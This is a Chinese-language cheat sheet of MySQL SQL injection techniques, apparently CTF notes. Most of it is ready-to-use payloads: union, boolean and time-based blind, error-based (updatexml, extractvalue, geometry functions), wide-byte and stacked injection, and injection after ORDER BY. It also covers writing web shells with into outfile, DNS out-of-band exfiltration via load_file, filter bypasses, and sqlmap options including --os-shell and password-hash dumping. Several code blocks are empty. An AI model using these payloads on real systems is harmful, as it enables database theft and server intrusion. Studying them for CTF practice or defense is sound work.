(MySQL为例)
注入点:GET参数、POST参数、Cookie、HTTP头(包括但不限于User-agent、Referer、X-Forwarded-For)。
0x01 注入类型
- 联合查询
- 盲注
- 布尔盲注
- 时间盲注
- 报错注入
- 宽字节注入
- 堆叠注入
0x02 MySQL常用函数
字符串连接
concat(str1, str2, str3...)concat函数连接一个或者多个字符串,若其中一个为null,则返回null.
concat_ws(separator,str1,str2,…)CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符可以是一个字符串,也可以是其它参数。若分隔符为 NULL,则结果为 NULL。函数会忽略任何 str 参数中的 NULL 值。
group_concat([DISTINCT] 字段名 [Order BY 某字段 ASC/DESC] [Separator '分隔符'])将某个字段的值连接起来,默认’,’为分隔符,可与group by一起使用。
字符串截取
mid(column_name, start [,length])start起始为1;length若省略则返回剩余文本。mid函数仅MySQL支持。
- substring、substr与mid用法相同
left(string, n)指定左部截取n个字符。right()为右部截取n个字符,参数同left。
ascii()
返回的字符的ascii码值。ord()相比还适用于多字节字符。
regexp
查找flag开头的字符串:select flag from flag where flag regexp '^flag'
locate/position
返回子串 substr 在字符串 str 中的第 pos 位置后第一次出现的位置。如果 substr 不在 str 中返回 0
LOCATE(substr,str,pos)
有任一参数是一个二进制字符串,它才是字母大小写敏感的。
|
|
0x03 sql注入类型
a.常用查询
|
|
b.联合查询
通过闭合语句引号或括号,使用union来查询所需内容。需要相同字段。可用select 1,2,3或order by 3来测试字段数。
c.布尔盲注
2*1e308大法:
-1'and(select(select(flag)from(flag))like binary 0x4625)*2*1e308#substr和ascii:
ascii(substr((select database()),1,1))=98#if盲注:
aaa' and if((select flag from flag where flag like binary 0x4625),1,0)#
d.时间盲注
sleep(second):
if(ascii(substr(database(),1,1))>115,0,sleep(5))%23benchmark(count, expr):
UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (select database() as current) as tb1;
e.报错注入
2*1e308报错:
aa'and(select(1E308*if((select*from(select(flag)from(flag)limit 1)x),2,2)))#updatexml报错(限制32字符):
-1'and(updatexml(1,concat(0x7e,(select(substr(flag,10))from(flag))),1))#extractvalue报错(限制32字符):
-1')and(extractvalue(1,concat(0x5c,(select(flag)from(flag)))))%23
以下技巧高版本未成功:
exp报错:
-1'and(exp(~(select*from(select(flag)from(flag))a)))#geometrycollection报错:
-1'and(geometrycollection((select*from(select*from(select(flag)from(flag))a)b)))#polygon报错:
-1'and(polygon((select*from(select*from(select(flag)from(flag))a)b)))#multipolygon报错:
-1'and(multipolygon((select*from(select*from(select(flag)from(flag))a)b)))#multipoint报错:
-1'and(multipoint((select*from(select*from(select(flag)from(flag))a)b)))#multilinestring报错:
-1'and(multilinestring((select*from(select*from(select(flag)from(flag))a)b)))#linestring报错:
-1'and linestring((select * from (select * from (select user())a)b))
以下技巧高版本中未测试:
bigint超出范围:
select !(select * from (select user())x) - ~0mysql重复特性:
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;计数重复报错/bug?:
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))上一条技巧的懵逼形式:
select count(*) from (select 1 union select null union select !1)x group by concat((select flag from flag limit 1),floor(rand(0)*2))
f.导入导出操作
- load_file导出文件:
|
|
- into outfile写入文件:
|
|
- into outfile 后可跟
lines terminated by 0x...(参考sqlmap os-shell)。以16进制内容结尾,而不是'\r\n':
|
|
into dumpfile写入二进制。into outfile写入文本文件。
g.宽字节注入
当MySQL使用宽字节编码时,会产生宽字节注入。若character_set_client=gbk时。输入%aa'对单引号转义后变成%aa%5c%27,其中aa5c被mysql当成一个字符,导致单引号逃逸。可通过Mysql_query("SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);来防御宽字节注入。
(1)
character_set_client:客户端发送过来的SQL语句编码,也就是PHP发送的SQL查询语句编码字符集。(2)
character_set_connection:MySQL服务器接收客户端SQL查询语句后,在实施真正查询之前SQL查询语句编码字符集。(3)
character_set_results:SQL语句执行结果编码字符集。
mysql_real_escape_string和iconv()注入:参考 MySQL宽字节注入 by BlBana和宽字节注入 by lyiang。
h.堆叠注入
用分号结束一条语句的执行,构造执行下一条任意语句。有其局限性。当采用mysql_query()执行sql语句时,多条sql语句将会报错,可使用mysqli::multi_query()。
例:sqlserver 中最为重要的存储过程的执行:
|
|
注:oracle不支持多条语句执行
i. order by后的注入
布尔盲注或延时注入:
?sort=(select ...)?sort=rand(语句)。如rand(true/false)返回值不同,可利用rand盲注。
报错注入:
?sort=1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+procedure analyze()来执行报错注入。
导出文件:
into outfile '路径'参数来导出结果。或使用lines terminated by 0x...来导出网马。
0x04 DNSLOG带外数据传输
利用VPS或者 http://ceye.io/records/dns 提供的 DNS Query 来获取dnslog中的数据。
Windows环境下,在MySql中可通过 load_file() 来发送 dns 查询。
|
|

注:MySql有个新特性 secure_file_priv 默认为 NULL ,若要启用 load_file 和 into outfile 等,需在 my.ini 中修改或增加这一特性的值。
0x05 Tricks
a. concat过滤下使用updatexml报错注入
当concat函数被过滤且需要使用updatexml来报错注入时,可找类似函数,如lpad()、reverse()、repeat()、export_set()。(lpad()、reverse()、repeat() 这三个函数使用的前提是所查询的值中,必须至少含有一个特殊字符,否则会漏掉一些数据)。
b. linestring()爆当前表名
通过polygon()和linestring()可爆出当前表名。还有multipoint、multilinestring、multipolygon:
|
|
c. 通过join + using的方法来获取字段名:
|
|
d. 通过联合查询,运用虚拟表在不出现字段名的情况下查出内容
|
|
e. 逗号过滤bypass
通过使用 from .. for .. 和 offset 来进行bypass
|
|
0x06 sqlmap常用指令与参数
-u:后跟漏洞网站URL-r:从POST数据包中注入,后跟文件路径,注入点用*替换-p:指定测试参数--dbms:指定数据库系统类型--technique=TECH:指定使用的注入方式 (default “BEUSTQ”)--dbs --tables --columns:枚举所有数据库、表、字段名-D -T -C:指定数据库、表、字段名称--dump:导出结果--level=LEVEL:指定注入测试的等级 (2级可检测cookie)(1-5, default 1)--risk=RISK:风险等级(1-3, default 1)--prefix="xxx":前缀--suffix="xxx":后缀--cookie="xxx":指定cookie--threads=10:在盲注时指定线程数--os-shell:系统交互 shell--sql-shell:SQL 交互 shell--users:枚举数据库用户--passwords:枚举数据库用户密码哈希值--string,--not-string,--regexp,--code:提供字符串或者一段正则,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用–string参数添加字符串,–regexp添加正则);在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(–not-string添加)。也可提供真与假条件返回的HTTP状态码不一样来注入。如,响应200的时候为真,响应401的时候为假,即--code=200。
0x07 tamper的使用
sqlmap很蠢。通常在网站对输入有某些过滤的情况下,你需要用tamper调教一下,再使用。(可以自己编写)
--tamper=symboliclogical:对or和and进行了过滤,可以使用||和&&的情况。--tamper=unmagicquotes:宽字节注入